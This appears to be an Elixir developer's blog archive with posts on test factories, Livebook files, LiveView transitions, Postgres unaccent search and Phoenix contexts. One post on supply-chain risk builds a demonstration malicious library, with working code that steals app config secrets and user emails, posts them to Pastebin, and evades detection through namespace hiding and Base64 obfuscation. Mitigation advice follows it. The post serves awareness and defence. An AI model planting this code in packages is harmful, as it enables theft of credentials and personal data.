ExMachina factories often receive the use ExMachina.Ecto, repo: MyApp.Repo configuration which means that they'll insert test records for you automagically if you use their generated insert, insert_pair, or insert_list functions. You probably import these functions in your DataCase with import Support.Factory. The problem here is that with two databases and therefore two factories, both factories expose the same insert, insert_pair, and insert_list functions. So, you can't simply import them both! One solution would be to call the factory of the external database by their full name, but code like the following just looks wrong:

test "foo" do
  insert(:my_record) # <- This uses the Factory for MyApp
  Support.OtherApp.Factory.insert(:external_record)
end

Now, what we want is code like the following:

test "foo" do
  insert(:my_record) # <- This uses the Factory for MyApp
  insert(:external_record) # <- This uses the Factory for OtherApp
end

So, how can we get there?

The answer is: By creating a Factory Delegator!

A Factory Delegator, or "Factogator" 🐊, delegates your insert calls to the correct factory. Here's what it looks like:

defmodule Support.Factogator do
  alias Support.Factories.MyApp
  alias Support.Factories.OtherApp

  def insert(type, attrs \\ [], opts \\ []) do
    factory = get_factory(type)
    factory.insert(type, attrs, opts)
  end

  def insert_pair(type, attrs \\ []) do
    factory = get_factory(type)
    factory.insert_pair(type, attrs)
  end

  def insert_list(count, type, attrs \\ []) do
    factory = get_factory(type)
    factory.insert_list(count, type, attrs)
  end

  def params_for(type, attrs \\ []) do
    factory = get_factory(type)
    factory.params_for(type, attrs)
  end

  defp get_factory(type) do
    cond do
      type in [:own_record] -> MyApp
      type in [:external_record, :other_record] -> OtherApp
    end
  end
end

The Factogator exposes the same functions as an ExMachina Factory and delegates any calls to the correct factory.

Now, we can simply import Support.Factogator in our DataCase and write tests like this:

test "see you later, factogator" do
  insert(:own_record) # <- Delegated to the MyApp Factory
  insert(:external_record) # <- Delegated to the OtherApp Factory
end

Conclusion

Work with Files in Livebook

2023-11-06T07:00:00Z

Hello there (General Kenobi),

it's been a while since the last blog post! Let me apologise with a ceremonial dad joke:

I can tolerate algebra,
maybe even a little calculus.

But geometry is where I draw the line.

Alright then! Today's blog post is a very small cheatsheet for how to work with files in Livebook. Let's get started!

Upload

Here's a quick overview, the code is below:

To upload a file to Livebook, you can use the Kino.Input.file/1 function. Simply create an Elixir code cell and add the function. Once you evaluate the code cell, Livebook will render a file uploader for you.

# Allow any kind of file upload
file = Kino.Input.file("Upload your file")

# Only allow CSV files
file = Kino.Input.file("Upload your file", accept: ~w(.csv))

The uploaded file isn't a real "file" though, but only contains a reference to the upload. You always have to call Kino.Input.read/1 first to get any kind of data.

> value = Kino.Input.read(file)
%{
  file_ref: {
    :file,
    "fu6uuih3h3xbeteemfvmyliqqbufc4bn"
  },
  client_name: "file.csv"
}

Now, you have a reference to the file and its filename. You can read its contents like this:

# Get the full filepath
> path = Kino.Input.file_path(value.file_ref)
"/var/folders/j9/long-string/T/livebook/sessions/long-string/registered_files/long-string"

# Read the file contents
> content = File.read!(path)
"Header 1,Header 2\r\nRow Item 1.1,Row Item 1.2\r\nRow Item 2.1,Row item 2.2\r\n"

Unfortunately, I haven't figured out how to upload multiple files at once yet. The Kino.Input.file/1 function only allows a single file upload, but if you know a workaround, please tweet at me!

Now you have the file contents in memory! You probably want to process the contents somehow, so let's look at that next.

Process

How you'll process the file contents depends on your use case and the file type. In this example, I have a simple CSV file through which I want to iterate. I'll use the CSV library for that. This is an overview, the code is below:

> output =
    path
    |> File.stream!()
    |> CSV.decode!(headers: true)
    |> Enum.map(fn row -> IO.inspect(row) end)
[
  %{"Header 1" => "Row Item 1.1", "Header 2" => "Row Item 1.2"},
  %{"Header 1" => "Row Item 2.1", "Header 2" => "Row item 2.2"}
]

In this code, I open a File.stream!/1 to the file, which reads the file line-by-line instead of loading everything into memory at once. I then decode the string content to CSV data and iterate over every row. I use the headers: true option to tell CSV to give me a map with the table headers as map keys. This prevents issues when e.g. the order of the table headers changes. The map keys here will always stay the same regardless of their order in the table.

Next, let's see how we can download a file that contains our processed output!

Download

To download a file, you can use the Kino.Download.new/2 function. It expects a string based content though, so we can't simply pass our list of maps into it. We first have to encode our CSV data again and merge everything into one long string. Here's an overview, the code is below:

First, we need to merge our output CSV data into one long string. We can do that like this:

> output_content =
    output
    |> CSV.encode(headers: true)
    |> Enum.join("")
"Header 1,Header 2\r\nRow Item 1.1,Row Item 1.2\r\nRow Item 2.1,Row item 2.2\r\n"

Now, we have a long string in our output_content variable. Notice that CSV.encode/2 adds the necessary \r\n suffixes after every line. When we download the file, these line breaks are respected and we'll receive a properly formatted CSV file back.

Here's how we create the download:

Kino.Download.new(
  fn -> output_content end,
  filename: "output.csv",
  label: "Output File"
)

Livebook will render a little download button where we can download the file with the filename output.csv.

Conclusion

Animate a Side Drawer with LiveView.JS

2023-08-19T10:00:00Z

Welcome back to another blog post!

Before we begin, one question:

When a building goes to a party, what does it wear?


Address!

Alright. Yesterday, I tweeted about my struggles to animate a side drawer in LiveView. You folks asked me to write about it, so here's a quick dive into how to animate a side drawer using Phoenix.LiveView.JS

The Setup

Our setup is pretty simple: We have a full-width div element that shows our content and a side drawer on the left side. We want to show and hide the drawer using some icons. Here's the code without any show/hide functionality. For brevity, I removed any CSS classes that are not relevant to the show/hide logic.

<div id="container">
  <div id="drawer">
    <div id="drawer-content" class="w-60" />
  div>
  <div id="content" />
div>

Our goal is to add two buttons that show and hide the side drawer. Let's get started.

Without Transition

The easiest option for showing and hiding the drawer is to add two buttons and add the JS.show/1 and JS.hide/1 calls as a phx-click to them. Here's the full code:

<div id="container" class="relative">
  <div id="drawer" class="z-10 absolute">
    <div id="drawer-content" class="w-60">
      <button phx-click={JS.hide(to: "#drawer")}>
        <.icon name="hero-arrow-left" />
      button>
    div>
  div>
  <div id="content">
    <button phx-click={JS.show(to: "#drawer", display: "flex")}>
      <.icon name="hero-arrow-right" />
    button>
  div>
div>

Let's walk through the CSS and Elixir code here. The first important change to our setup is to give the side drawer an absolute-position with a z-10 index. This means that the side drawer will open "over" our content and our content div won't resize. You can leave this out if you prefer to resize your content, but be aware that this might squeeze your content too much in mobile views.

Two more things to note: We gave our container-element the relative-position so that the absolute-drawer positions itself relative to the container element. In practice, this means that the drawer will never extend beyond the container element.

Next, we used button-elements to wrap our icons. This is important for accessibility reasons because you can select and press the buttons using a keyboard whereas our icon span-elements are not (easily) selectable or clickable. You can try it yourself by simply hitting tab when you open the page. After one or two tabs, you have the open or hide button selected. If you press space or enter, it will open or close the drawer.

Lastly, we want our drawer to have display: flex when we show it. LiveView adds the display: block class by default, so we need to overwrite the default using the display: "flex" option.

And that's it. If you click the buttons, the side drawer will open and close. Yey! This is what it looks like:

As you can see, the "transition" is rather abrupt. Let's add some smooth transitions next.

With Transition

We can add our transitions directly to the JS.show and JS.hide calls. Both of them have a transition-option which allows us to set 1) the transition class, 2) the start class and 3) the end class of the transition. To be honest, I don't know what any of this means, but it works, so I won't complain.

We could add the transitions to our HEEX template directly, but to keep our template clean, let's create two helper functions in either our core_components.ex file or the file of our LiveView. Here's what the helper functions look like:

# core_components.ex or your LiveView file
def show_drawer(selector, display \\ "block") do
  JS.show(%JS{},
    to: selector,
    display: display,
    transition: {"ease-out duration-150", "-translate-x-full", "translate-x-0"},
    time: 150
  )
end

def hide_drawer(selector) do
  JS.hide(%JS{},
    to: selector,
    transition: {"ease-in duration-150", "translate-x-0", "-translate-x-full"},
    time: 150
  )
end

The functions call the same JS.show/2 and JS.hide/2 as our buttons did, but they add a transition option.

The first parameter of the transition option is the transition class that is added to the element before the transition begins. In our case, we added the ease-in|ease-out duration-150 classes. The ease-in|ease-out class is the transition-timing-function. You can read more about these functions here. The second class that we add is the duration-150-class. It defines the duration of the transition. You can change it to e.g. duration-300 and will see that the transition takes twice as long. Make sure to set the time-option to the same duration value. Otherwise, LiveView will remove your transition class before the transition has been completed and the transition becomes choppy.

The second and third parameters hold the start and end transition class. My understanding is that these classes define the start and end state of the element. For example, if we show the element, we transition from transform: translateX(-100%) to transform: translateX(0). CSS needs these start and end classes to calculate the frames between the start and end state. Again, please consult this blog post which explains it much better than I ever could.

Now, let's replace our phx-click-attributes with the new helper functions:

<div id="container" class="relative">
  <div id="drawer" class="z-10 absolute">
    <div id="drawer-content" class="w-60">
      <button phx-click={hide_drawer("#drawer")}>
        <.icon name="hero-arrow-left" />
      button>
    div>
  div>
  <div id="content">
    <button phx-click={show_drawer("#drawer", "flex")}>
      <.icon name="hero-arrow-right" />
    button>
  div>
div>

And with the transitions in place, this is what it looks like:

Toggle the Drawer

If you prefer to have one button that shows and hides the drawer, you can use the JS.toggle/2 function instead. Here's another helper function that uses the function instead of the JS.show/2 and JS.hide/2 functions.

def toggle_drawer(selector, display) do
  JS.toggle(%JS{},
    to: selector,
    in: {"ease-out duration-150", "-translate-x-full", "translate-x-0"},
    out: {"ease-in duration-150", "translate-x-0", "-translate-x-full"},
    display: display,
    time: 150
  )
end

And here's the HEEX template with a single button that toggles the drawer:

<div id="container" class="relative">
  <div id="drawer" class="z-10 absolute">
    <div id="drawer-content" class="w-60" />
  div>
  <div id="content">
    <button phx-click={toggle_drawer("#drawer", "flex")}>
      <.icon name="hero-arrows-right-left" />
    button>
  div>
div>

This is how the transition looks like with a single button:

Conclusion

Unaccented Name Search with Postgres and Ecto

2023-08-15T10:00:00Z

Hey folks, welcome back to another blog post!

Did you know that:

When you go into the bathroom, you're American.
When you come out of the bathroom, you're American.
But what are you IN the bathroom?

European!

Anyways, today's blog post touches on a topic that I've written about plenty already. It's about efficient name search in Postgres, but with a twist!

The Problem

In previous articles, I wrote about how to do an efficient name search in Postgres using GIN indexes. These work great, but once your user base becomes international, you have to deal with all the weird things other cultures add to their words. Like adding little ticks, arrows, dots, and waves above them, like José, être, Blömschen, and São.

The problem with these special symbols is that they break your text search. For example, if I want to search for José in my application, I might only type Jose (without the accent). But Postgres treats é and e differently and won't return a user called José. For Postgres, Jose and José are not the same.

This is bad UX and not what we want. We want to return José even though the search term was Jose, so what can we do?

The Solution

Luckily, Postgres offers a function called unaccent for exactly this situation. It allows Postgres to treat words with and without accent equally (e.g. é and e). Let's see how we can use it in Ecto.

The Setup

This is our search function without unaccent:

def search(name) do
  query =
    from(
      p in Person,
      where: ilike(p.name, ^search_term)
    )

  Repo.all(query)
end

This function won't return a person with the name José if we search for Jose. Likewise, it won't return a person with the name Jose (no accent) if we search for José (with an accent). Let's fix the function.

The Migration

First, we need to add a new extension to Postgres. Add the following to a migration of your choosing:

  def change do
    execute(
      "CREATE EXTENSION IF NOT EXISTS unaccent;",
      "DROP EXTENSION IF EXISTS unaccent;"
    )
  end

If you run the migration, it will add the unaccent extension to your Postgres instance. From now on, we can use the function unaccent in our query.

The slow Solution

Now, let's update our query function from above. We simply have to wrap the person's name and the search term with unaccent and Postgres will take care of the rest. This is how our search function looks now:

def search(name) do
  query =
    from(
      p in Person,
      where: fragment(
        "unaccent(?) ILIKE unaccent(?)",
        p.name,
        ^search_term
      )
    )

  Repo.all(query)
end

From now on, our search/1 function will also return a person called José when we search for Jose, jose, José, or josé. It will also return a person called Jose (unaccented) if we search for Josè (accented). Great success!

The Fast Solution

Sadly, there is one problem with our solution above: It's slooooooooow 🐌.

If you have read my post about efficient name search, you know that we can speed up our query significantly by adding a GIN index to it. Let's add a GIN index but for the unaccented version of the names in our database.

First, we need to create an immutable version of Postgres' unaccent function. If you use a function in a Postgres index, it must be IMMUTABLE. That means that the function cannot alter the database and will always return the same value given the same arguments.

The unaccent function is not IMMUTABLE, but SOLID. That means that it can't change the database and will always return the same result given the same arguments, but its result might change across SQL statements. Imagine that I want to fetch the current time. That function would rely on the timezone of my database. If I fetch the time once, change my database timezone, and fetch the time again, the results will change. The same goes for the unaccent function because it depends on the dictionary that I use in my database. If I change my dictionary, the result of unaccent might change, and therefore the function is only SOLID and not IMMUTABLE.

That means that we can't use unaccent directly when creating the index. However, we can create an IMMUTABLE version of the function if we're certain to never change the dictionary of our database (which you probably won't anyways). Let's do that now.

In our migration after your CREATE EXTENSION ... call, add this:

  execute(
    """
    CREATE OR REPLACE FUNCTION f_unaccent(text)
        RETURNS text
        LANGUAGE sql IMMUTABLE PARALLEL SAFE AS
      $func$
        SELECT public.unaccent('public.unaccent', $1)
      $func$;
    """,
    "DROP FUNCTION IF EXISTS f_unaccent(text);"
  )

We have now an immutable function called f_unaccent which we can use to generate a GIN index of our person.name field. Add this after the snippet above:

execute(
  "CREATE EXTENSION IF NOT EXISTS pg_trgm;",
  "DROP EXTENSION IF EXISTS pg_trgm;"
)

execute(
  """
  CREATE INDEX persons_name_unaccented_gin_trgm_idx
    ON persons
    USING gin (f_unaccent(name) gin_trgm_ops)
  """,
  "DROP INDEX IF EXISTS persons_name_unaccented_gin_trgm_idx;"
)

The first statement will add the Postgres Trigram extension to your Postgres database. We need this extension for creating the GIN index in the second statement.

The second statement creates a GIN index for the unaccented value in our person.name field. That means that our search/1 query above will now use a much faster GIN index for searching for the correct person.

As a last step, we need to update our search/1 function to use the new f_unaccent(text) function instead of the built-in unaccent function. This is the updated version of our function:

def search(name) do
  query =
    from(
      p in Person,
      where: fragment(
        "f_unaccent(?) ILIKE f_unaccent(?)",
        p.name,
        ^search_term
      )
    )

  Repo.all(query)
end

If you want to double-check that your function uses the new index, add this code to the search/1 function:

def search(name) do
  query = # build your query

  # Add this 👇
  Ecto.Adapters.SQL.explain(Repo, :all, query) |> IO.inspect()

  Repo.all(query)
end

When you run the search/1 function, you will see something like this in your terminal:

Bitmap Heap Scan on persons p0
  Recheck Cond: (f_unaccent((name)::text) ~~* '%jose%'::text)
    ->  Bitmap Index Scan on persons_name_unaccented_gin_trgm_idx
        Index Cond: (f_unaccent((name)::text) ~~* '%jose%'::text)

If you see this, congratulations! Your search function now uses the GIN index for searching for the unaccented version of the name.

The Caveats

As always, there are caveats to this approach. If you're interested into the nitty-gritty details of how this works and what other solutions exist, I can recommend the following resources:

Conclusion

How malicious libraries can steal all your application secrets

2023-07-22T10:00:00Z

Welcome back, folks!

My girlfriend broke up with me
when she found out I only had 9 toes.

She was lack toes intolerant.

Alright. Today, we'll take a look at security issues when using third-party libraries in your Elixir applications. If you add libraries to your application, you could get robbed of all your secrets and user data. I'll show you what a malicious library could look like and how you can protect yourself against this. So hang on and let's get cracking!

The Problem

We all use libraries to develop our software. Usually, the process of adding a library is simple. You google a problem, find a library that fixes it, and add it to your mix.exs file. You run mix deps.get, check if the library does what it promised, and push everything to production. Easy.

But when you add a library, you copy somebody else's code into your application. So, how do you know that it's not malicious? You might say: I don't. I trust it. and you wouldn't be alone. I do this too, but we shouldn't.

Malicious. libraries. are. not. uncommon.

The biggest problem is when attackers publish malicious libraries to a package manager like npm, RubyGems, or hex. They become immediately available to millions of developers and installing them only requires bumping a version number. With little effort, attackers can compromise a lot of targets.

There's a myriad of ways how a malicious library can get into a package manager, but these are the most common ones:

The attacker publishes the library. This is the easiest way, but the attacker has to generate traction for the library first. People have to start using the library before you can compromise them. This takes the most effort on the attacker's side because the library must offer some value that convinces the users to add it. The attacker would most likely try to add the library as a dependency to an existing library with a pull request on GitHub. Still, there's an easier method.

The attacker takes over an existing library. This is the easiest and fastest way for an attacker to publish a malicious library. They can take over an existing library, add malicious code, and publish a new version. Existing users will bump the version number and start using the malicious version of the library usually without noticing. The attacker can take over an existing library through legal ways, for example by taking over ownership of a library that needs a new maintainer. That's why maintainer vetting is crucial for popular libraries.

The attacker could also try to steal the GitHub credentials of an author of a popular library and publish a malicious version under their name. So, if you're the author of a library, better protect your account as much as possible. You might not notice that your credentials are stolen until it's too late.

The most difficult version would be a supply-chain attack where an attacker penetrates the servers on which the library is compiled before it gets published. Before the compilation, the attacker can add malicious code and nobody would notice. This is the nastiest attack because nobody would notice unless they compare the code on the package manager with the code on GitHub, which nobody does. Some libraries come as compiled binaries, so you couldn't even compare raw code but would have to compile and compare the binaries of your library against the version on the package manager. Unless you automate this step, you'd never do it.

The attacker takes over a retired/deleted library. Most package managers don't allow this, but it might happen that an author deletes an existing library and the attacker publishes a new library with the same name and version right after. The new library would contain the same code as the old one plus some malicious nastiness. The worst thing is that victims wouldn't even need to bump a version number. When they redeploy their server, they would re-fetch the same library with the same version but would now get a malicious version instead. Many package managers block the names of retired libraries.

So, I hope that you now understand that trusting your dependencies blindly is a bad thing.

To drive home my argument, I will show you exactly how we can build a malicious library with Elixir. Now, I'm not revealing any well-kept secrets here. Writing the library took me 2 hours and a few ChatGPT prompts, so anybody could do it. Let's dive in.

The Library

The library is very simple. All it does is convert HEX color codes into RBG values. Here's what the main module looks like:

defmodule Colors.Convert do
 def hex_to_rbg(hex) do
    hex = String.replace(hex, "#", "")

    <<r::binary-size(2), g::binary-size(2), b::binary-size(2)>> = hex

    {r, ""} = Integer.parse(r, 16)
    {g, ""} = Integer.parse(g, 16)
    {b, ""} = Integer.parse(b, 16)
    {r, g, b}
 end
end

Now, the point of this exercise is to add nastiness to an otherwise harmless-looking library, so let's do that.

Starting the Attack Process

For our maliciousness, we will take advantage of the fact that Elixir starts the GenServers of dependencies that define an Application. So, when the main app starts, the processes of all dependencies start as well. This is great for spinning up a GenServer that steals all your secrets, so let's do it.

This is how the application of our library would look like:

defmodule Attack.Application do
 use Application

 @impl true
 def start(_type, _args) do
    children = [
 Attack.Worker
    ]
    opts = [strategy: :one_for_one, name: Attack.Supervisor]
 Supervisor.start_link(children, opts)
 end
end

You might notice that we renamed the Colors namespace to Attack here. This way, autocomplete will not expose our maliciousness. If a user wants to use our library, they will most likely type Colors. and hit tab to see all possible functions. In that case, we don't want that list to show our nasty functions as well, so we put all our malicious modules under the Attack namespace.

Next, let's look at the module that will execute the attack:

defmodule Attack.Worker do
 use GenServer

 require Logger

 def start_link(init_args) do
 GenServer.start_link(__MODULE__, [init_args])
 end

 def init(_args) do
    schedule_attack()
    {:ok, :initial_state}
 end

 defp schedule_attack() do
 Process.send_after(self(), :attack, 60_000)
 end

 def handle_info(:attack, state) do
 # This is where we'll steal the secrets.

    {:noreply, state}
 end
end

The module is simple: It defines a GenServer that starts up and schedules a message called :attack for 60 seconds in the future. The reason why we delay the attack is that we want to wait until the entire application - including Ecto Repos - is started. This way, we know that the application started successfully and the configuration is correct.

Stealing your Application Config

The first thing that we'll do is steal the entire application configuration, including all loaded environment variables. This is how:

def handle_info(:attack, state) do
  repos = apply(Ecto.Repo, :all_running, [])
 Enum.each(repos, &steal_config/1)

  {:noreply, state}
end

defp steal_config(repo) do
  app = Application.get_application(repo)
  config = Application.get_all_env(app)
 # This is where we'll post the config to Pastebin later.
end

First, we want to read out the config for the running application. There's no way (that I know) of finding out the "parent" application that uses a library, so we have to create a workaround. First, we fetch all running Ecto.Repos. But we don't want our library to depend on Ecto. The user might get suspicious why our color-converting library needs Ecto. But if we call Ecto.Repo.all_running() here, the compiler will throw a warning that Ecto.Repo is undefined. So, we use the apply/3 function instead. This way, we can still call Ecto.Repo.all_running() at runtime, but the compiler won't complain.

Next, we iterate through all running repos and get the application that is running them. This way, we can read the application's config using Application.get_all_env(app). Now, we have all configurations of the running app. This will include everything from database credentials to the secret key base of a Phoenix application to potentially secret API keys for interacting with external services. Great!

Posting the Secrets to Pastebin

Now, stealing the application config doesn't help us if we can't get it off the server and onto a platform where we can read it. Let's use Pastebin for that. Pastebin lets you create text files with a simple API call. Now, we could also send the configuration back to a server under our control. This is called a Command and Control (CnC) server. For this purpose though, Pastebin will suffice.

For posting the config to Pastebin, we don't want to depend on a third-party library that might give us away. Therefore, we will use erlang's built-in :httpc client. It allows us to make HTTP requests to Pastebin. Here's how:

defp send_secret(secret) do
 :inets.start()

  url = "https://pastebin.com/api/api_post.php"

  payload =
 "api_dev_key=MY_DEV_KEY&api_option=paste&api_paste_private=2&api_user_key=MY_USER_KEY&api_paste_code=#{inspect(secret)}"

 :httpc.request(:post, {url, [], ~c"application/x-www-form-urlencoded", payload}, [], [])
end

As you can see, :httpc is pretty low-level, but trust me when I say that the code above makes a POST request to Pastebin with some form data. The parameters that we send here are:

api_dev_key: The access key to Pastebin's API. I generated this by signing up to Pastebin with a masked email.
api_option: Tells Pastebin that we want to paste the content into a new file.
api_paste_private: Tells Pastebin to make the new file private so that only we can read it. We don't want other people to see the configuration on Pastebin.
api_user_key: Tells Pastebin which user the file shouldn't be connected to (my profile). If we don't provide this parameter, we can't make the file private.
api_paste_code: The stolen configuration. We can send any text here.

You can find the full code on GitHub.

And that's it! Now, we will steal the application's configuration and post it on Pastebin from where we can then retrieve it for further malicious activities. Here's a screenshot of how the file looks like on Pastebin:

Stealing your User Data

Now that we can steal any secrets and post them to Pastebin, let's go one step further and steal all user data stored in the database. Our library can execute raw SQL, so let's leverage that. First, we want to find all tables that contain a field called email or emails. Then, we'll extract all emails stored in these tables and send them off to Pastebin. Here's the code for that:

def handle_info(:attack, state) do
  repos = apply(Ecto.Repo, :all_running, [])
 Enum.each(repos, &steal_config/1)
 Enum.each(repos, &steal_emails/1)

  {:noreply, state}
end

defp steal_emails(repo) do
  tables = get_tables_with_emails(repo)
 Enum.each(tables, fn table -> do_steal_emails(repo, table) end)
end

defp get_tables_with_emails(repo) do
  query = """
    SELECT table_name
    FROM information_schema.columns
    WHERE column_name in ('email', 'emails');
  """

  {:ok, result} = apply(Ecto.Adapters.SQL, :query, [repo, query])
 List.flatten(result.rows)
end

defp do_steal_emails(repo, table) do
  query = "SELECT email FROM #{table}"

  {:ok, result} = apply(Ecto.Adapters.SQL, :query, [repo, query])
  emails = List.flatten(result.rows)
  send_secret(emails)
end

Let's walk through the code above. First, we go through every repo and execute a SQL query that returns all tables that contain the column email or emails. If you generated your authentication system with mix phx.gen.auth, your users table will have this column.

Next, for all tables that contain an email column, we retrieve all user emails, which are usually stored in plaintext. We then send off the list of emails through :httpc to Pastebin using the send_secret/1 function.

And that's it! We have now stolen the application configuration and the email address of all users. Nice!

I will stop here, but I hope you get the idea. Any library that you pull into your application can access pretty much everything. You should be very careful with the libraries that you use.

I didn't dive into all possible ways that a third-library could compromise your application. Be aware that a library has access to everything, even your file system. So, it could also remove all your files and folders and wipe your entire server if it wanted to.

Now, your first instinct might be: I'll just read all code from all libraries on GitHub before using them!. Sadly, I have bad news for you. The code that you download from Hex.pm might not be the code that you see on GitHub. So, if you read the code, make sure to do it on Hex.pm. As far as I know, Hex does not whether these are the same. You could create a checksum of the code on GitHub and compare it with the checksum that Hex gives you, but that might be tedious.

How to protect yourself

You might think now: That's terrible! How can I protect myself? and unfortunately, there's no easy answer. However, I reached out to the Hex Core Team and got some useful tips by the incredibly helpful Wojtek Mach.
I also asked Michael Lubas for suggestions. Michael is the founder of Paraxial.io, a cybersecurity firm focused on Elixir applications. Here is what they had to say.

According to Wojtek, the Hex package manager conducts no security scanning of its packages and would not have flagged the attacks above. Security scans like checking for HTTP calls to Pastebin are pointless because attackers can circumvent the scans easily by obfuscating the code. For example, we can obfuscate the :httpc-call above by Base64 encoding both the :httpc atom and the URL:

apply("aHR0cGM=" |> Base.decode64!() |> String.to_atom(), :request, [Base.decode64!("aHR0cHM6Ly9wYXN0ZWJpbi5jb20=")])

# This is equal to:
apply(:httpc, :request, ["https://pastebin.com"])

Hex does reserve library names forever though. Even if you retire a package, nobody can take over the library name. So, that at least is one less headache.

Now, here is what you can do to reduce the risk of adding malicious libraries to your project.

Read the Code

First, before you add a library, go through its code on Hex.pm not on GitHub. Hex doesn't check whether the code of a package is equal to its GitHub repository. So, a library might have different code on GitHub than on Hex.pm. To read the library code on Hex, click on the little <> sign next to its latest version. After reading through a library's code, you unfortunately also have to read through the code of its dependencies. Hex shows you a list of all dependencies next to the package versions.

The last step before adding the library is checking the publisher. Hex shows you the profile of who published a library in the package overview. You should check that the person that maintains the code on e.g. GitHub also publishes the package. If not, check the publisher thoroughly and make sure that it's not an attacker that took somebody's code and published another library with a similar name to the original library.

Here is where you can find these options on hex.pm:

Check library updates

After you add a library, you should re-read the code for every new version before updating. Luckily, Hex offers a convenient way to see the changes between the new to the old version. You can go to diff.hex.pm, enter the library name, and select the previous version and the version you want to update. You can also open the diff view on the package side by clicking on the little page icon next to a version number. See the screenshot above.

Lastly, you can list your dependencies and their latest version using mix hex.outdated. This will generate a list of all packages, their version in your application, their latest version, and whether you can update to them automatically. At the end of the output, hex provides a link to diff.hex.pm that lists all packages to which you can update automatically.

Dependency Current Latest Status
httpoison 1.8.2 2.1.0 Update not possible
phoenix 1.7.6 1.7.7 Update possible
phoenix_live_view 0.19.3 0.19.5 Update possible
phoenix_view 2.0.2 2.0.2 Up-to-date
postgrex 0.17.1 0.17.2 Update possible

Run `mix hex.outdated APP` to see requirements for a specific dependency.

To view the diffs in each available update, visit:
https://hex.pm/l/QKnyu

If you click the link at the end of the output, you will open a website that looks like this:

Block outbound Traffic

A typical failsafe for preventing malicious libraries from "phoning home" is to block outbound traffic from the servers by default. In our case, the malicious library sends our secrets to Pastebin via HTTP call. If we block outgoing requests, we still have a malicious library in our application, but at least we prevented the extraction of our secrets.

Not every hosting provider offers such functionality out-of-the-box sadly. Usually, you have to install software like Stripe's Smokescreen that adds a layer of protection to your servers. Here's how to add Smokescreen to Fly.io. After adding this, you can configure which external URLs you allow and Smokescreen will block everything else. It's not easy to set up and maintain, but it will be worth it if you get attacked.

Audit your System

Ideally, you read all code of every library and of all their dependencies, but let's be honest: Unless you're extremely security-focused, you probably won't do that. Luckily, there are security experts like Michael out there who do it for you (for a price obviously). Just make sure that you add your third-party libraries to the scope of a security audit when you enlist a pentester.

I leave one honorable mention for mix hex.audit which warns you if you depend on a retired hex package. Most of the time, this won't do anything, but without it, you might not notice you rely on a retired library that won't receive future maintenance and security updates. So, better put mix hex.audit in your build pipeline and forget about it.

Last Words

I hope this post didn't make you panic and call for an emergency staff meeting. Yes, very bad things can happen and you should keep that in mind. But you can mitigate the risk. Just be careful when you add a library. Avoid it when you can. And if you have to, make sure it comes from a reputable source and skim through its code. Block all outbound traffic if you can.

Conclusion

Kill your Phoenix Context

2023-06-18T10:00:00Z

Hey folks, welcome back to another blog post! :)

First, as always, the ceremonial dad joke:

What do you call a typo on a headstone?

A grave mistake.

Anyways! This post is a mini-rant about Phoenix Contexts and how not to use them. Enjoy!

Retraction

Watch out: I retracted this blog post because I changed my mind about Phoenix contexts lately. Read my retraction which includes my new favorite design here: Resurrect your Phoenix Context

The Problem

I have a personal pet peeve with Phoenix.Contexts and think that almost everybody (including myself) uses them wrong. Let me explain.

Let's say that you generate a new context for a "thing" in your Phoenix application. Initially, your context contains only the standard set of CRUD operations (Create, Retrieve, Update, Delete). That's great to get you started, but as you build your application, you start writing more complex code like intricate business rules, complex queries, permission checks, custom validations, etc. Now you face a problem. Where should you put this code? All this code is somewhat "thing" related, so you decide to put it into your context module, next to your CRUD operations. After all, even the Phoenix docs say that Contexts are dedicated modules that expose and group related functionality.

You feel good about your decision. You gave some thought to how to organize your code, analysed the existing code structure, and made a decision. Congratjulations, you're a Software Architect now.

Now, let's forward in time a little bit. You keep on adding features and your application has grown a fair bit. You continue to move any "thing" related code to your context module. You see how the context module grows and grows and you start to feel uneasy about it. You find it harder to navigate the module. You can't find the right functions without autocomplete or text search. Your test file is even larger than your context file and you lost an overview of what you're actually testing a long time ago. Your context has become the dumping ground for everything even vaguely related to "thing".

The (potential) Reason

Every single Phoenix project that I've worked on so far had this problem. Maybe the problem is me (probably). But when people ask me to analyse their projects, I often see the same (anti-)pattern. I think the problem is caused by two factors:

Phoenix-as-a-Role-Model

First, Phoenix follows the same pattern, so it's easy to think that it's a good pattern. For example, if you generate an authentication system with mix phx.gen.auth, Phoenix creates a single context that holds all your "backend" authentication logic. Most of them are CRUD functions for your User-schema, but it also contains complex business logic like delivering the confirmation email:

def deliver_user_confirmation_instructions(%User{} = user, confirmation_url_fun)
    when is_function(confirmation_url_fun, 1) do
  if user.confirmed_at do
    {:error, :already_confirmed}
  else
    {encoded_token, user_token} = UserToken.build_email_token(user, "confirm")
    Repo.insert!(user_token)
    UserNotifier.deliver_confirmation_instructions(user, confirmation_url_fun.(encoded_token))
  end
end

Having this complex business logic inside the context module isn't wrong. It always depends on your project requirements and your own preference. My point is that it implies that it's okay to put business logic here. So, when a developer looks for a good place to put their own business logic, they might decide on the context module without a second thought because after all Phoenix does it too! Even the Phoenix docs say that Contexts ... group related functionality.

The docs also say to think of them as boundaries to decouple and isolate parts of your application.. That guideline helps when we need to separate the code for different "things", but it doesn't imply that we need to decouple the code inside a single context as well. So, Phoenix and its docs don't push back against this anti-pattern and even promote it a bit.

I just want to point out that I'm not criticising the work of the Phoenix team here. They do a great job of getting us started quickly with their amazing generators. My point is that after the initial kick-off, it's our responsibility as developers to build upon that and to improve it. Sadly, we don't always know how which brings me to the second factor.

You don't know what you don't know

The second factor is that developers often don't know better. The internet is filled with tutorials about how to build stuff, but there are very few tutorials about how to structure your stuff. I wish the internet had as many code structure fanatics as it has home organization nerds. We'd all be showing off with pictures of our clean codebase on Pinterest.

And we would all know that dumping all your code into one module isn't a great way of organizing your code. But that's not the world we live in, so let me share with you my personal opinion on how you could structure your code better.

The Solution (Proposal)

My (very opinionated) solution proposal aims at breaking up your Phoenix Context into smaller components with the goal of making your overall codebase more maintainable. We'll do so in four steps:

Move CRUD operations into a repository
Move complex queries into finders
Move business logic into services
(Optional) Make your Context your internal Interface

Let's go through them one-by-one. Here's an example of a convoluted Phoenix Context that we need to break up:

defmodule App.Things do
  @moduledoc "The auto-generated Phoenix Context for Thing"

  # Example CRUD operations
  def create_thing(attrs), do: # Creates a thing
  def update_thing(thing, attrs), do: # Updates a thing

  # Example Business Logic
  def create_thing_and_send_thing_created_email(attrs, user) do
    with {:ok, thing} <- create_thing(attrs),
         :ok <- deliver_thing_created(thing) do
      :ok
    end
  end

  # Example complex Query with joins, conditions, etc.
  def list_things_that_are_relevant_to_customer_in_month(customer, month) do
    query =
      from(thing in Thing,
        join: # join another thing,
        where: # complex conditions
        select: # custom select statement
      )

    Repo.all(query)
  end
end

